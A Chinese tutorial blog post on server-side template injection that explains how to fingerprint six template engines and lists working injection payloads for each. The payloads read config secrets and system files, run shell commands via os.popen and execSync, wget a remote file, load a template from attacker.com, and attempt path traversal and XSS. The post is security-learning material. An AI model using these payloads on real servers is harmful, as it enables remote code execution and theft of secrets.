ssti学习笔记(服务器端模板注入)

news/2025/2/9 8:19:34 标签: 安全

目录

一,ssti是什么

二,原理

所谓模板引擎(三列,可滑动查看)

 三,漏洞复现

1,如何判断其所属的模板引擎?

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击

读取文件

执行系统命令

加载并执行 Python 模块

(2),Tornado 模板引擎(Python)

信息获取类

读取文件

(3)Django 模板引擎(Python)

利用视图传递对象属性

绕过过滤器限制(若存在)

(4),EJS(JavaScript,用于 Node.js 的 Express 框架)

读取文件

执行系统命令

(5),Thymeleaf(Java,常用于 Spring Boot)

利用 Java 反射执行代码

利用 Spring 上下文获取 Bean

(6),Handlebars(JavaScript)

结合动态部分模板加载漏洞

结合 JavaScript 注入(若与 JavaScript 交互)


一,ssti是什么

SSTI 通常是指服务器端模板注入攻击者可以利用该漏洞在服务器端注入恶意代码或命令,从而执行非授权的操作、获取敏感信息或控制服务器

二,原理

  • 模板引擎的作用是将模板数据结合起来生成最终的 HTML 页面或其他格式的文档。正常情况下,用户输入的数据会被模板引擎按照一定的规则进行处理和显示,以确保数据的安全性和正确性。
  • 但当应用程序存在 SSTI 漏洞时,攻击者可以通过精心构造输入数据,使其被模板引擎当作代码来执行。例如,攻击者可能会在一个评论框或搜索框中输入特定的代码片段,如果应用程序没有对输入进行充分的验证和过滤,模板引擎就可能会执行这些恶意代码,从而导致漏洞被利用。

示例:搜索框中触发ssti

url处的划线部分是编码后的{ {6*6}} ,出现36便证明了页面存在ssti漏洞

所谓模板引擎

编程语言web框架模板引擎
PythonFlaskJinja2
PythonTornadoTornado 模板引擎
PythonDjangoDjango模板引擎
JavaSpring BootThymeleaf
JavaStruts2FreeMarker
JavaScriptExpress(Node.js)EJS
JavaScriptHapi(Node.js)Handlebars
PHPSymfonyTwig
PHPCodeIgniterSmarty

不同编程语言有不同的 Web 框架,每个 Web 框架对应一个模板引擎。 

注意:Tornado不但是一个框架,还是个web服务器(表中橙色那个)

 三,漏洞复现

Web 安全漏洞中遇到服务器端模板注入,需要先判断模板引擎,再根据模板引擎来构造输入。

1,如何判断其所属的模板引擎?

(1),Jinja2(Python)

简单表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Jinja2

控制结构测试:输入 {% for i in range(3) %}{ { i }}{% endfor %},若页面输出 012,进一步表明是Jinja2

过滤器测试:输入 { { 'hello'|upper }},若页面返回 HELLO,符合Jinja2语法

(2),Tornado 模板引擎(Python) 

表达式测试:输入 { { 5 + 3 }},若页面返回 8,可能是Tornado模板引擎。

逻辑控制测试:输入 {% for i in [0, 1, 2] %}{ { i }}{% end %},若页面输出 012,符合Tornado语法。

(3), Django 模板引擎(Python)

简单表达式与过滤器测试:输入 { { 5|add:3 }},若页面返回 8,可能是Django模板引擎

逻辑判断测试:输入 {% if 5 > 3 %}True{% else %}False{% endif %},若页面返回 True,符合Django语法。

(4),EJS(JavaScript,用于Node.js的Express框架)

表达式输出测试:输入 <%= 5 + 3 %>,若页面返回 8,可能是EJS。

 JavaScript代码嵌入测试:输入<% for (let i = 0; i < 3; i++) { %><%= i %><% } %>,若页面输出 012,符合EJS语法。

(5),Thymeleaf(Java,常用于Spring Boot)

变量表达式测试:输入 ${5 + 3},若页面返回 8,可能是Thymeleaf。

条件判断测试(使用Thymeleaf属性):输入(在HTML标签中) <p th:if="${5 > 3}">True</p>,若页面显示 True,符合Thymeleaf语法。

(6),Handlebars(JavaScript)

变量输出测试:输入 { { someVariable }}(假设传递了 someVariable变量),若页面显示该变量的值,可能是Handlebars。

部分模板调用测试:输入 { {> partialTemplate }}(假设定义了 partialTemplate 部分模板),若页面正确渲染部分模板内容,则是Handlebars。
 

2,判断清楚后开始注入

(1)Jinja2(Python)

针对 Flask 应用的攻击
  • 读取 Flask 应用的 FLAG
    • 输入:{ { url_for.__globals__['current_app'].config['FLAG'] }}
    • 原理:url_for 是 Flask 函数,__globals__ 指向其全局命名空间,current_app 是 Flask 应用实例,config 存储配置信息,攻击者借此获取敏感的 FLAG
  • 执行任意 Python 代码(通过导入模块)
    • 输入:{ { url_for.__globals__['__import__']('os').popen('ls /').read() }}
    • 原理:利用 __import__ 动态导入 os 模块,用 os.popen 执行系统命令 ls / 并读取输出。
  • 获取 Flask 应用的所有配置项
    • 输入:{ { url_for.__globals__['current_app'].config.items() }}
    • 原理:访问 config.items() 获取 Flask 应用所有配置项及对应值,可能包含数据库连接信息、API 密钥等敏感信息。
读取文件
  • 读取 /etc/hosts 文件
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/etc/hosts').read() }}
    • 原理:与读取 /etc/passwd 类似,通过 Python 内置对象和方法定位到文件操作类,读取指定文件内容。
  • 动态指定文件路径
    • 输入:{ { request.args.file|string.__class__.__mro__[2].__subclasses__()[40](request.args.file).read() }}?file=/etc/hosts
    • 原理:利用请求参数动态指定要读取的文件路径,增加攻击的灵活性。
执行系统命令
  • 查看当前工作目录
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('pwd').read() }}
    • 原理:使用 os.popen 执行 pwd 命令,返回当前工作目录。
  • 查看系统进程信息
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['os'].popen('ps -ef').read() }}
    • 原理:执行 ps -ef 命令,查看系统中所有进程的详细信息。
加载并执行 Python 模块
  • 导入并执行 socket 模块
    • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[132].__init__.__globals__['__import__']('socket').gethostname() }}
    • 原理:通过 __import__ 函数动态导入 socket 模块,然后调用 gethostname 方法获取主机名。

    (2),Tornado 模板引擎(Python)

    信息获取类
    • 获取应用配置信息
      • 输入:{ { handler.settings }}
      • 原理:在 Tornado 框架里,handler 通常指继承自 tornado.web.RequestHandler 的请求处理类实例,settings 是 Tornado 应用程序的配置设置对象。此表达式可输出当前请求处理类实例所关联的应用配置信息,若配置信息包含敏感内容,直接输出会导致信息泄露。
    • 获取请求相关信息
      • 输入:{ { handler.request }}
      • 原理:handler.request 包含了客户端请求的详细信息,如请求方法、请求头、请求参数等。攻击者可借此了解请求的上下文,为后续攻击做准备。
    读取文件
    • 读取 /proc/version 文件(获取系统版本信息)
      • 输入:{ { ''.__class__.__mro__[2].__subclasses__()[40]('/proc/version').read() }}
      • 原理:同 Jinja2 读取文件原理,利用 Python 内置对象和方法读取指定文件内容。

    (3)Django 模板引擎(Python)

    利用视图传递对象属性
    • 假设视图传递了 settings 对象获取数据库配置
      • 输入:{ { settings.DATABASES.default }}
      • 原理:尝试访问视图传递的 settings 对象中的数据库配置信息。
    • 假设视图传递了 request 对象获取请求信息
      • 输入:{ { request.META }}
      • 原理:获取请求的元数据信息,可能包含客户端 IP、请求头信息等。
    绕过过滤器限制(若存在)
    • 假设存在一个自定义过滤器限制了输出
      • 输入:{ { 'a'|add:'b'|add:'c' }}
      • 原理:通过多个过滤器组合绕过单一过滤器的限制,拼接字符串。

    (4),EJS(JavaScript,用于 Node.js 的 Express 框架)

    读取文件
    • 读取项目根目录下的 package.json 文件
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync('./package.json', 'utf8')) %>
      • 原理:使用 Node.js 的 fs 模块读取项目根目录下的 package.json 文件内容。
    • 读取用户主目录下的 .bashrc 文件(Linux 系统)
      • 输入:<% var fs = require('fs'); console.log(fs.readFileSync(process.env.HOME + '/.bashrc', 'utf8')) %>
      • 原理:通过 process.env.HOME 获取用户主目录路径,然后读取 .bashrc 文件内容。
    执行系统命令
    • 创建一个新文件
      • 输入:<% var { execSync } = require('child_process'); execSync('touch /tmp/test.txt') %>
      • 原理:使用 child_process 模块的 execSync 方法执行 touch 命令创建一个新文件。
    • 下载一个文件(使用 wget
      • 输入:<% var { execSync } = require('child_process'); execSync('wget http://example.com/file.txt -O /tmp/downloaded.txt') %>
      • 原理:执行 wget 命令从指定 URL 下载文件并保存到本地。

    (5),Thymeleaf(Java,常用于 Spring Boot)

    利用 Java 反射执行代码
    • 获取系统属性
      • 输入:${T(java.lang.System).getProperties()}
      • 原理:通过 Java 反射调用 System 类的 getProperties 方法获取系统属性。
    • 执行 Java 代码创建文件
      • 输入:${T(java.io.File).createTempFile('test', '.txt')}
      • 原理:使用反射调用 File 类的 createTempFile 方法创建一个临时文件。
    利用 Spring 上下文获取 Bean
    • 假设存在一个名为 userService 的 Bean
      • 输入:${@userService.getUserById(1)}
      • 原理:通过 Spring 表达式语言(SpEL)从 Spring 上下文中获取 userService Bean,并调用其 getUserById 方法。

    (6),Handlebars(JavaScript)

    结合动态部分模板加载漏洞
    • 尝试读取不同目录下的文件
      • 输入:{ {> ../../../../var/log/syslog }}(假设应用未对路径进行严格验证,适用于 Linux 系统)
      • 原理:利用部分模板加载机制,尝试读取系统日志文件。
    • 尝试加载远程文件(若应用存在协议绕过漏洞)
      • 输入:{ {> http://attacker.com/malicious_template.hbs }}
      • 原理:如果应用在加载部分模板时未对 URL 进行严格验证,可能会加载远程恶意模板。
    结合 JavaScript 注入(若与 JavaScript 交互)
    • 假设 Handlebars 模板用于生成 JavaScript 代码
      • 输入:{ { '" + alert("XSS") + "' }}
      • 原理:如果模板输出被嵌入到 JavaScript 代码中,可能会导致 XSS 漏洞,弹出警告框。


    http://www.niftyadmin.cn/n/5845820.html

    相关文章

    MySQL第五次作业

    根据图片内容完成作业 1.建表 &#xff08;1&#xff09;建立两个表:goods(商品表)、orders(订单表) mysql> create table goods( -> gid char(8) primary key, -> name varchar(10), -> price decimal(8,2), -> num int); mysql> create t…

    Oracle Database Free版本的各项许可限制

    Oracle Database Free版本的各项许可限制&#xff1a; 限制类型描述具体限制可能的错误信息CPU限制Oracle Database Free自动限制最多使用两个CPU核心进行处理最多2个CPU核心无特定错误信息&#xff0c;但性能受限安装和运行时限制每个逻辑环境中只能安装一次Oracle Database …

    瑞芯微 Rockchip 系列 RK3588 主流深度学习框架模型转成 rknn 模型教程

    前言 在瑞芯微 Rockchip 芯片上进行 NPU 推理&#xff0c;需要先将模型文件转换成 rknn 模型文件&#xff0c;才能执行各种推理任务。本文将介绍如何安装各种工具&#xff0c;并最终实现将各种深度学习框架的模型文件转换成 rknn 文件。 本教程不仅适合 RK3588 平台&#xff…

    WebStorm设置Vue Component模板

    下载vue.js插件 下面有模板样例 Composition API&#xff1a;这是 Vue 3 的一项新特性&#xff0c;允许通过 setup 函数来组织组件逻辑。Options API&#xff1a;这是 Vue 2 和 Vue 3 都支持的传统方式&#xff0c;通过定义组件的 data、methods、computed 等来组织逻辑。 Comp…

    PM2 与 Docker 结合使用:Node.js 应用的高效管理与部署

    在现代 Web 开发中&#xff0c;Node.js 应用的部署和管理至关重要。为了确保应用的高可用性和性能&#xff0c;开发者常常采用 PM2&#xff08;进程管理工具&#xff09;和 Docker&#xff08;容器化平台&#xff09;的结合方案。本文将详细介绍 PM2 的功能、Docker 的优势&…

    IDEA编写SpringBoot项目时使用Lombok报错“找不到符号”的原因和解决

    目录 概述|背景 报错解析 解决方法 IDEA配置解决 Pom配置插件解决 概述|背景 报错发生背景&#xff1a;在SpringBoot项目中引入Lombok依赖并使用后出现"找不到符号"的问题。 本文讨论在上述背景下发生的报错原因和解决办法&#xff0c;如果仅为了解决BUG不论原…

    LIMO:少即是多的推理

    25年2月来自上海交大、SII 和 GAIR 的论文“LIMO: Less is More for Reasoning”。 一个挑战是在大语言模型&#xff08;LLM&#xff09;中的复杂推理。虽然传统观点认为复杂的推理任务需要大量的训练数据&#xff08;通常超过 100,000 个示例&#xff09;&#xff0c;但本文展…

    工业相机在工业生产制造过程中的视觉检测技术应用

    随着技术不断发展以及工业4.0时代的到来&#xff0c;利用工业相机进行视觉检测技术已经成为制造业不可或缺的一部分。通过结合先进的计算机视觉、AI算法和自动化设备&#xff0c;工业视觉检测为生产线质量控制和效率提升提供了革命性的解决方案。 一、什么是工业视觉检测技术 …